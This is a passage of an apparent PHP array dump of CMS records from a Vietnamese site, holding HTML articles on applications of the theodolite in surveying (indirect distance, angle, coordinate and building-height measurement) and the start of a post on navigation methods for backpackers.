style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p> ', 'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p> ', 'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71057', 'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '861', 'rght' => '862', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '492', 'name' => 'Những cách định vị đường đi cho dân phượt', 'code' => null, 'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: 